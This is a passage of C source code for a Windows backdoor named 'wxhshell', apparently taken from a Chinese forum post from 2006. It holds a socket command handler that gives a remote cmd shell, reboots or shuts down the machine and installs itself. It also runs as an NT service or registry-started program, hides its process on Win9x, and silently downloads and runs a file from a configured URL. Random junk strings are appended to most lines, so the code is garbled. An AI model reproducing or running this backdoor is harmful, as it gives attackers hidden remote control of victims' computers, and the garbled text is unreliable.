  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7>#YKH.  
  } _+nk3-yQw  
  else { '+ZJf&Ox  
Ge=^q.  
    switch(cmd[0]) { Rm}5AJ  
  C.":2F;-e  
  // 帮助 jDTG15_=  
  case '?': { R4R\B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lJ]QAO  
    break; r<Z.J/a  
  } Eb@**%  
  // 安装 esE!i0%  
  case 'i': { kX`m( N$  
    if(Install()) N*6~$zl&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z 4i5,f  
    else 5Phsh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q }>3NCh  
    break; 7I#C[:7x  
    } !g6=/9  
  // 卸载 mMOgx   
  case 'r': { !bCL/[  
    if(Uninstall()) Yy 0" G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3c7i8b$  
    else O cPgw/ I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lu:*nJ%1[  
    break; wB' !@>db  
    } *PV7s  
  // 显示 wxhshell 所在路径 @1&"S7@}u  
  case 'p': { C4d'z(<  
    char svExeFile[MAX_PATH]; zVf79UrK  
    strcpy(svExeFile,"\n\r"); @t1pB]O:  
      strcat(svExeFile,ExeFile); zLJmHb{(  
        send(wsh,svExeFile,strlen(svExeFile),0); .9=4Af  
    break; 3**t'iWQ  
    } ef&8L  
  // 重启 \P9ms?((A  
  case 'b': { 1n}#54  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UcD<vg"p  
    if(Boot(REBOOT)) 9QB,%K_:4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b=\chCRJJ  
    else { @mxaZ5Vv}  
    closesocket(wsh); *`wz  
    ExitThread(0); iu*&Jz)D>  
    } febn?|@  
    break; #_aq@)Fd  
    } Ab/JCZNn  
  // 关机 60$;Q,]o  
  case 'd': { g[t paQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %HtgZeY  
    if(Boot(SHUTDOWN)) u kZK*Y9P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc?W;Q+  
    else { _izjvg  
    closesocket(wsh); \xl$z *zI  
    ExitThread(0); tJ6Q7 J;n  
    } #}@8(>T  
    break; ^,^MW  
    } {~FPvmj&  
  // 获取shell 4@Db $PHs  
  case 's': { Dt(D5A  
    CmdShell(wsh); ];6955I!  
    closesocket(wsh); pg7~%E4  
    ExitThread(0); 3(t,x  
    break; [a!AK kj  
  } NQ[X=a8N  
  // 退出 X])iQyN  
  case 'x': { 5psJv|Zo]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wu|MNB?M  
    CloseIt(wsh); /@1YlxKF  
    break; eIF6f& F  
    } F@q9UlfB-  
  // 离开 5VOw}{Pt  
  case 'q': { $.d,>F6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .uS`RS8JM  
    closesocket(wsh); fR@Cg sw  
    WSACleanup(); o_mjI:  
    exit(1); Haktr2I  
    break; hbvcIGaT  
        } + jwk4BU  
  } CR9wp] -Vd  
  } j[A(@ w"  
snfFRc(RE  
  // 提示信息 `Ji WS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9oGcbD4*  
} V?G%-+^  
  } ~BuBma_   
Lhux~,EH  
  return; "p;tj74O9  
} 1?|"33\03R  
h~9P3 4m  
// shell模块句柄 Ot\[Ya''  
int CmdShell(SOCKET sock) e<9 ^h)G  
{ 8/tB?j  
STARTUPINFO si; 0wVM% Dng  
ZeroMemory(&si,sizeof(si)); 9XDSL[[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +3-5\t`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ym\<@[3+!  
PROCESS_INFORMATION ProcessInfo; :X'B K4EN  
char cmdline[]="cmd"; &a=rJvnIO&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .4"BN<9  
  return 0; w8Z#]kRv  
} XPMUhozV  
pA_u;*  
// 自身启动模式 #\Y`?  
int StartFromService(void) N_B^k8j  
{ :P2!& W  
typedef struct l\V1c90m  
{ p\;8?x  
  DWORD ExitStatus; tR<#CCtRp'  
  DWORD PebBaseAddress; B1~`*~@  
  DWORD AffinityMask; ^ /G ;  
  DWORD BasePriority; g.`Ntsi$wI  
  ULONG UniqueProcessId; Fy E#@ R  
  ULONG InheritedFromUniqueProcessId; y_n4Y[4g  
}   PROCESS_BASIC_INFORMATION; q\i&E Rr  
1DAU *^-  
PROCNTQSIP NtQueryInformationProcess; fm^`   
+l)t5Mg\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q#c+%,Z=C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UTu~"uCR  
OwNM`xSa|\  
  HANDLE             hProcess; ySiZ@i4  
  PROCESS_BASIC_INFORMATION pbi; Y(1?uVYW\d  
&)tv4L&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C)yw b6  
  if(NULL == hInst ) return 0; ZLKbF9lo  
M"s:*c_6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r7_%t_O|IL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $X Uck[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V 1d#7rP  
?b(wZ-/  
  if (!NtQueryInformationProcess) return 0; PbvA~gm  
ZaY|v-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <h#W*a  
  if(!hProcess) return 0; )ej1)RU"  
H"w;~;h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Qt/(/  
'Y ,2CN  
  CloseHandle(hProcess); v+g:0 C5 (  
sDg1nKw(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZEDvY=@a   
if(hProcess==NULL) return 0; L58H)V3Pn  
aiz ws[C  
HMODULE hMod; [75?cQD  
char procName[255]; 9@"pR;X@  
unsigned long cbNeeded; }8}`A\ dgV  
d42Y `Wu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fNx!'{o"  
x5\Du63  
  CloseHandle(hProcess); G+2fmVB*X  
Y[PC<-fyf  
if(strstr(procName,"services")) return 1; // 以服务启动 v36Z*I6)5  
~e,l2 <  
  return 0; // 注册表启动 #=)>,6Z w  
} 5$:9nPAH  
!+Y+P?  
// 主模块 k&5T-\q  
int StartWxhshell(LPSTR lpCmdLine) =IX-n$d`>  
{ j7w9H/XF}  
  SOCKET wsl; u Uq= L  
BOOL val=TRUE; I<<1mEk  
  int port=0; U&*%KPy`  
  struct sockaddr_in door; 2x|F Vp  
5Zhl@v,L%  
  if(wscfg.ws_autoins) Install(); *v8daF  
q4!\^HwQ  
port=atoi(lpCmdLine); [+A]E,pv]1  
CflyK@  
if(port<=0) port=wscfg.ws_port; 2auJp .  
1D [>oK\  
  WSADATA data; WZ!zUUp}V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z 369<  
()Wu_Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *6u2c%^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0x*|X@ 6\  
  door.sin_family = AF_INET; PvW4%A@0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3]}RjOTU  
  door.sin_port = htons(port); /4 Kd  
P =Q+VIP&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qof%j@  
closesocket(wsl); N5K2Hv<"  
return 1; hCgk78O?  
} wRK27=\z  
`h :!^"G  
  if(listen(wsl,2) == INVALID_SOCKET) { ui`EODhA(  
closesocket(wsl); .X.6<@$  
return 1; Ax=)J{4v  
} ;{R;lF,  
  Wxhshell(wsl); 6pC1C.  
  WSACleanup(); "8?Fl&=Q  
G[u6X_Q  
return 0; ]^wr+9zd  
"u$XEA  
} mv,a>Cvs[  
;[P>  
// 以NT服务方式启动 xf7YIhL^*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KMqGWO*  
{ };P=|t(r  
DWORD   status = 0; T?Z^2.Pvc  
  DWORD   specificError = 0xfffffff; Ie _{P&J  
ofz?L#:2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (OwGp3g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0/!0W%f[}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jyyig%  
  serviceStatus.dwWin32ExitCode     = 0; Y1ca=ewFx  
  serviceStatus.dwServiceSpecificExitCode = 0; hz<TjWXv'  
  serviceStatus.dwCheckPoint       = 0; ld({1jpX,  
  serviceStatus.dwWaitHint       = 0; {<}Hut:a  
b *0uxvLu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); br k*;  
  if (hServiceStatusHandle==0) return; LLzxCMc9*  
C+`V?rp=s  
status = GetLastError(); =;I+: K  
  if (status!=NO_ERROR) Z1$U[Tsd  
{ b&_Ifx_YF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N. nGez  
    serviceStatus.dwCheckPoint       = 0; *D[yA  
    serviceStatus.dwWaitHint       = 0; b"trg {e  
    serviceStatus.dwWin32ExitCode     = status; )~nieQEZQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; {wz_ngQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EDnZ/)6Gg  
    return; fF#Fc&B  
  } ;GOu'34j  
SGy2&{\Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IBu\Sh-  
  serviceStatus.dwCheckPoint       = 0; Pn@DHYP  
  serviceStatus.dwWaitHint       = 0; cmCD}Skk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SG0PQ  
} t7V7TL!5'  
/S~ =qodS  
// 处理NT服务事件,比如:启动、停止 kv?DE4=;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a{JO8<dlm  
{ RDy&i  
switch(fdwControl) ;9ChBA  
{ >YF=6zq.`  
case SERVICE_CONTROL_STOP: 8uW%jG3/  
  serviceStatus.dwWin32ExitCode = 0; W*(- * \1[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9OY ao  
  serviceStatus.dwCheckPoint   = 0; q j9q   
  serviceStatus.dwWaitHint     = 0; 61gyx6v  
  { DYgB_Iak  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uT<<G)v)  
  } 9^Web~yi#  
  return; OqF8KJnO;  
case SERVICE_CONTROL_PAUSE: nr}Ols  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YvP62c \  
  break; 9~a5R]x2  
case SERVICE_CONTROL_CONTINUE: P-8QXDdr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &u6n5-!v  
  break; =i;T?*@  
case SERVICE_CONTROL_INTERROGATE: OpIeo+^X*  
  break; /P]N40_@  
}; CM[83>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4"!kCUB  
} B J I N  
7#9%,6Yi  
// 标准应用程序主函数 EymSrZw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #O8=M(- V  
{ >w.%KVBJ  
Z6Kp-z(l3  
// 获取操作系统版本 @B(E&  
OsIsNt=GetOsVer(); F :Ps>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !su773vo  
V3a6QcG  
  // 从命令行安装 El :% \hGy  
  if(strpbrk(lpCmdLine,"iI")) Install(); +$2`"%nBG  
m9&%A0  
  // 下载执行文件 ocUBSK|K)  
if(wscfg.ws_downexe) { ovXk~%_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o>Dd1 j  
  WinExec(wscfg.ws_filenam,SW_HIDE); KQw>6)  
} S0r+Y0J]<  
g:G5'pZf  
if(!OsIsNt) { e:.?T\  
// 如果时win9x,隐藏进程并且设置为注册表启动 pm:-E(3#  
HideProc(); aX |(%1r  
StartWxhshell(lpCmdLine); Bm%|WQK  
} ZB/1I;l`c  
else %Lh+W<;  
  if(StartFromService()) UK,sMKbl1  
  // 以服务方式启动 ~.0'v [N  
  StartServiceCtrlDispatcher(DispatchTable); '^[+]  
else w8J8III\~  
  // 普通方式启动 Zt=P 0  
  StartWxhshell(lpCmdLine); +KNd%AJ  
EdSUBoWF}  
return 0; zM<L_l&  
}
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只看该作者 1 发表于: 2006-10-10
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